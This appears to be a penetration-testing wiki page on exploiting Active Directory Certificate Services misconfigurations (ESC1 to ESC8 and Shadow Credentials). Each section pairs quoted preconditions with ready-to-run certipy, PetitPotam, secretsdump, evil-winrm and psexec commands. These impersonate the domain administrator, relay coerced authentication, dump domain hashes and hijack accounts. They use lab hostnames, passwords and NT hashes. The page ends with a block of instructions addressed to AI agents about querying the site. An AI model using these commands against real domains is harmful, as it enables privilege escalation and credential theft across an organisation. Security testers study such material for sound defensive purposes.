# Exploits ## ESC1 > In order to abuse this misconfiguration, the following conditions must be met: > > * **The Enterprise CA grants low-privileged users enrollment rights**. The Enterprise CA’s configuration must permit low-privileged users the ability to request certificates. See the “Background — Certificate Enrollment” in the whitepaper paper for more details. > * **Manager approval is disabled**. This setting necessitates that a user with certificate manager permissions review and approve the requested certificate before the certificate is issued. See the “Background — Certificate Enrollment — Issuance Requirements’ section in the whitepaper paper for more details. > * **No authorized signatures are required**. This setting requires any CSR to be signed by an existing authorized certificate. See the “Background — Certificate Enrollment — Issuance Requirements” section in the whitepaper for more details. > * **An overly permissive certificate template security descriptor grants certificate enrollment rights to low-privileged users**. Having certificate enrollment rights allows a low-privileged attacker to request and obtain a certificate based on the template. Enrollment rights are granted via the certificate template AD object’s security descriptor. > * **The certificate template defines EKUs that enable authentication**. Applicable EKUs include Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), or no EKU (SubCA). > * **The certificate template allows requesters to specify a subjectAltName (SAN) in the CSR**. If a requester can specify the SAN in a CSR, the requester can request a certificate as anyone (e.g., a domain admin user). The certificate template’s AD object specifies if the requester can specify the SAN in its mspki-certificate-name-flag property. The mspki-certificate-name-flag property is a bitmask and if the CT\_FLAG\_ENROLLEE\_SUPPLIES\_SUBJECT flag is present, a requester can specify the SAN. This is surfaced as the “Supply in request” option in the “Subject Name” tab in certtmpl.msc. ```bash # enumerate certipy find -u khal.drogo@essos.local -p 'horse' -dc-ip 192.168.56.12 # query the certificate certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template ESC1 -ca ESSOS-CA -upn administrator@essos.local # authentication with the pfx we request before certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12 ``` ## ESC2 & ESC3 ### ESC2 > In order to abuse this misconfiguration, the following conditions must be met: > > * **The Enterprise CA grants low-privileged users enrollment rights**. Details are the same as in ESC1. > * **Manager approval is disabled**. Details are the same as in ESC1. > * **No authorized signatures are required**. Details are the same as in ESC1. > * **An overly permissive certificate template security descriptor grants certificate enrollment rights to low-privileged users**. Details are the same as in ESC1. > * **The certificate template defines Any Purpose EKUs or no EKU**. ### ESC3 In order to abuse this misconfiguration, the following conditions must be met: > * **The Enterprise CA grants low-privileged users enrollment rights**. Details are the same as in ESC1. > * **Manager approval is disabled**. Details are the same as in ESC1. > * **No authorized signatures are required**. Details are the same as in ESC1. > * **An overly permissive certificate template security descriptor grants certificate enrollment rights to low-privileged users**. Details are the same as in ESC1. > * **The certificate template defines the Certificate Request Agent EKU**. The Certificate Request Agent OID (1.3.6.1.4.1.311.20.2.1) allows for requesting other certificate templates on behalf of other principals. > * **Enrollment agent restrictions are not implemented on the CA**. ### Exploits ```bash # ESC2 # query the cert certipy req -u khal.drogo@essos.local -p 'horse' -target 192.168.56.23 -template ESC2 -ca ESSOS-CA # query cert with the Certificate Request Agent certificate we get before (-pfx) certipy req -u khal.drogo@essos.local -p 'horse' -target 192.168.56.23 -template User -ca ESSOS-CA -on-behalf-of 'essos\administrator' -pfx khal.drogo.pfx # auth certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12 # ESC3 & ESC3-CRA certipy req -u khal.drogo@essos.local -p 'horse' -target 192.168.56.23 -template ESC3-CRA -ca ESSOS-CA certipy req -u khal.drogo@essos.local -p 'horse' -target 192.168.56.23 -template ESC3 -ca ESSOS-CA -on-behalf-of 'essos\administrator' -pfx khal.drogo.pfx certipy auth -pfx administrator.pfx -username administrator -domain essos.local -dc-ip 192.168.56.12 ``` ## ESC4 > Manager Approval requirement is enabled > > An Authorized Signature is required to issue certificate > > Subject Name cannot be supplied in request > > Set "Encrypting File System" for Certificate Application Policy Extension > > But if low privileged user account has WriteDacl for this template, these restrictions can be broken, and attackers can abuse it for domain escalation. ```bash # Take the ESC4 template and change it to be vulnerable to ESC1 technique by using the genericWrite privilege we got. certipy template -u khal.drogo@essos.local -p 'horse' -template ESC4 -save-old -debug # Exploit ESC1 on the modified ESC4 template certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template ESC4 -ca ESSOS-CA -upn administrator@essos.local # authentication with the pfx certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12 # Rollback the template configuration certipy template -u khal.drogo@essos.local -p 'horse' -template ESC4 -configuration ESC4.json ``` ## ESC6 > ESC6 is when the CA specifies the **EDITF\_ATTRIBUTESUBJECTALTNAME2** flag. This flag allows the enrollee to specify an arbitrary SAN on all certificates despite a certificate template’s configuration. ```bash certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template User -ca ESSOS-CA -upn administrator@essos.local certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12 ``` ## ESC7 > During the engagement, Certify reported the presence of a CA (Certificate Authority) with an ACL that granted the **ManageCA** and **ManageCertificate** right to the **Authenticated Users** group, which in other words means that any domain account has these permissions. > > According to SpecterOps’ research this configuration has the following risks: > > * **ManageCA** allows a user to change the CA’s settings, which, among other things, can be used to turn on SAN (**Subject Alternative Name**) to all the templates managed by the CA. SAN is an extension that allows a user to request a certificate linked to additional identities. This is the key behind the attack ESC1, because if a template has this extension, it is possible to request a valid certificate for **any domain account**. As we said, turning this on at CA level, makes the extension available to **all the CA’s templates** even if they don’t have it individually (allowing for the attack **ESC6**). > * **ManageCertificates** is less sensitive from a security perspective, but it allows a user to issue certificates that are **pending approval**.    ```bash certipy ca -ca 'manager-DC01-CA' -add-officer raven -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' certipy ca -ca 'manager-DC01-CA' -enable-template SubCA -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' certipy req -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target manager.htb -template SubCA -upn 'administrator@manager.htb' certipy ca -ca 'manager-DC01-CA' -issue-request 20 -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' certipy req -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target manager.htb -retrieve 20 # verify the clock sudo ntpdate -u manager.htb # connect as admin ! certipy auth -pfx administrator.pfx -dc-ip 10.10.11.236 # evilwinrm or psexec.py evil-winrm -i 10.10.11.236 -u administrator -H '$hash' psexec.py manager.htb/administrator@manager.htb -hashes $hash -dc-ip 10.10.11.236 ``` ## ESC8 > In summary, if an environment has AD CS installed, along with a vulnerable web enrollment endpoint and **at least one certificate template published** that allows for domain computer enrollment and client authentication (like the default Machine template), then an attacker can compromise ANY computer with the spooler service running! ### certipy ```bash # setup the listener : certipy relay -ca 192.168.56.23 -template DomainController # trig the coerce petitpotam.py 192.168.56.1 meereen.essos.local # we got the certificate so we can get the NT hash of the DC and also the TGT with the command : certipy auth -pfx meereen.pfx -dc-ip 192.168.56.12 # we can launch a DCsync with secretsdump and the ticket we get export KRB5CCNAME=/workspace/esc8/meereen.ccache secretsdump -k -no-pass ESSOS.LOCAL/'meereen$'@meereen.essos.local # or with the hash secretsdump -hashes ':39d964a01c61c19fe36c71627d7ab56c' -no-pass ESSOS.LOCAL/'meereen$'@meereen.essos.local ``` ## Shadow Credentials > Shadow credentials attack consist of using the **GenericAll** or **GenericWrite** privilege on a user or computer to set up the attribute **msDS-KeyCredentialLink**. This attack is very usefull when you got **Write** on another user. > With **genericWrite** you can only do: > > * Target Kerberoasting : add an SPN to a user, do a kerberoasting, unset the spn. But the user password must be weak to the kerberoasting attack work. > * Set up a logon script : change ldap parameters to set up a logon script. but it implies that the user log to his computer, an smb server or a share to offer the script and setup a script that bypass the security solutions in place) > * Shadow credentials : the attack we want to do, we need a cetificate service on the domain > With **GenericAll** you can : > > * ForceChangePassword : but on a real pentest you don’t want to block a user by changing his password. > So if ADCS is enabled on the domain, and we got **write** privilege on **msDS-KeyCredentialLink**, we can do the shadow credentials attack to get a direct access on the user account. And this seems to be the better idea in this case on a real pentest. ```bash certipy shadow auto -u khal.drogo@essos.local -p 'horse' -account 'viserys.targaryen' certipy shadow auto -u viserys.targaryen@essos.local -hashes 'd96a55df6bef5e0b4d6d956088036097' -account 'jorah.mormont' ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://book.redsquad.xyz/windows-hacking/active-directory/2.-initial-attack-vectors/ad-cs/exploits.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.